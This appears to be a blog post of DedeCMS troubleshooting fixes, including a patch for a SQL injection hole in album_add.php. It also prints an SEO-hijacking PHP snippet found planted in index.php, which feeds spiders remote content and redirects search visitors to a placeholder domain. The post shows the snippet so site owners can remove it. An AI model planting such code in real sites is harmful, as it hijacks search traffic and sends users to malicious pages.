织梦(dedecms)常见故障问题解决方案

阅读  ·  发布日期 2019-05-20 22:26  ·  admin

给DEDECMS客户改版时遇到的一些问题,不能保证完全解决,但是基本可以处理织梦常见故障,网站建设提示:请勿使用什么商业破解版,请使用正版程序!

 

 

如果遇到织梦其他问题无法解决,请点击联系这里,我们免费为您提供故障问题解决方案!

 

 

dede模块管理空白或没有列表内容的解决办法 :

 

模块管理完全空白解决:

下载个和你网站相同版本的DEDE程序,然后找到include/dedemodule.class.php,把这个文件上传到你的网站目录下(相同路径),系统会询问要不要提示覆盖,按确定就好了。其实这也算是织梦的一个BUG吧。模块管理再也不是空白了。

 

模块管理没有内容解决:

把之前有内容的/data/module/moduleurllist.txt文件拷贝到新空间上/data/module/下就OK了

 

PHP5.3提示Please set 'request_order' ini value to include C,G and P (recommended: 'CGP') in php.ini解决方案:

 

部分使用PHP 5.3的主机可能会有下面的提示:

(PHP 5.3 and above) Please set 'request_order' ini value to include C,G and P (recommended: 'CGP') in php.ini

 

由于在PHP最新的版本中增加了一个配置项目“request_order”,默认值为“GP”,这个存在一定的安全风险。这里我们建议用户将配置更改为“CGP”,可以在phpinfo中查看对应的php.ini配置目录,找到下面选项:

request_order = "GP"
更改为:
request_order = "CGP"

重启服务器,解决!

 

dede安装出现时提示dir错误:

开该install文件夹,删除两个文件已经修改两个文件。删除install_lock.txt、index.html,修改index.php.bak、module-install.php.bak将其后缀.bak去掉即可。

 

防范百度快照劫持注入代码:

织梦百度快照劫持注入代码防范及清除,很多站长做站的过程中,都碰过百度快照被劫持等问题,明明已经修复模板文件了,还是没有更新回正常的快照,以织梦系统为例,

 

往往根目录/index.php也被植入恶意代码

 

代码如下:

<?php

if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){ $str=file_get_contents("http://域名.com/");echo $str; } $domain=array('baidu','so'); $fromurl=@strtolower($_SERVER['HTTP_REFERER']);

foreach ($domain as $v) { if (strpos($fromurl,$v)!==false)

{ $target="http://域名.com/index.html"; header("Location:".$target); exit; }}

?>

 

单这段代码就直接把搜索引擎蜘蛛搞晕,带到别的恶意网址去。

 

把其删掉,如果在index.php里没找到,但还是存在类似的问题,可以用notepad++全站搜索下。

 

album_add.php文件SQL注入漏洞修复方法:

阿里云ECS 安骑士提示织梦DEDECMS /member/album_add.php文件中,对输入参数mtypesid未进行int整型转义,导致SQL注入的发生。

 

修复方法:

打开dedecms/member/album_add.php文件,查找以下代码(大约220行左右)

 

$description = HtmlReplace($description, -1);

 

将上面的代码替换为:

 

$description = HtmlReplace($description, -1);
$mtypesid = intval($mtypesid);

 

QQ一键登录插件返回空白解决方法:

修改织梦网站时,遇到个QQ一键登录返回是空白的问题,找了好久没发现什么原因,最后才知道原因在于服务器,因为腾讯OAuth2.0采用的是https协议进行数据请求,QQ一键登录插件采用curl拓展对数据进行抓取,有些站长并未开启curl拓展,所以导致返回空白的状况。

 

解决方案:

 

找到php.ini文件找到

 

;extension=php_curl.dl

;extension=php_openssl.dll


将“;”删除,重启服务器,完美解决。

 

解决dedecms5.7不能采集分页的解决办法:

程序默认不会采集分页,也就是采集的时候只会采集到指定url的第一页的修改方法。现在好啦,通过不懈的努力,终于找到了解决办法。

 

解决方案:

 

打开文件\include\dedecollection.class.php,1116行左右有这么一条代码:

 

if($status = TRUE || $urlnum >= $mytotal) break;

 

直接注释掉或删掉就可以了,如果没有找到 ,可以使用查找功能 查找这段代码,问题出现在dedecms5.7的一个小bug,大家可以再自由发挥下,更多方法还是要靠自己去发掘的。

 

解决织梦dedecms升级出现 Unknown column 'dutyadmin' in 'field list'的问题:

今天有位朋友加我QQ,说他升级到5.5之后出现问题,添加文章的时候出现:Unknown column 'dutyadmin' in 'field list',经检查发现,可能是下错升级包了。

 

解决方案:

 

系统>>SQL命令行工具>>运行SQL命令行

 

ALTER TABLE `dede_archives` ADD `dutyadmin` MEDIUMINT( 8 ) UNSIGNED DEFAULT '0' NOT NULL;
 
ALTER TABLE `dede_archives` ADD `tackid` INT( 10 ) DEFAULT '0' NOT NULL ;

 

运行后,问题解决。

 

解决channel标签currentstyle样式无效不起作用的错误方法:

 

用织梦系统制作网站时,经常会用到channel标签来调子栏目。但是,很多朋友会遇到这种情况在使用channel标签来调子栏目的时候,指定 “type=son typeid=x” 发现currentstyle无效。

 

解决方案:

 

修改include/taglib/channel.lib.php

 

if( ($row['id']==$typeid || ($topid==$row['id'] && $type=='top') ) && $currentstyle!='' )

 

修改为

 

if( ( $row['id']== $refObj->TypeLink->TypeInfos['id'] || ($topid==$row['id'] && $type=='top') ) && $currentstyle!='' )

 

经测试这种调用方式currentstyle有效,可以解决解决channel标签currentstyle样式无效不起作用的问题。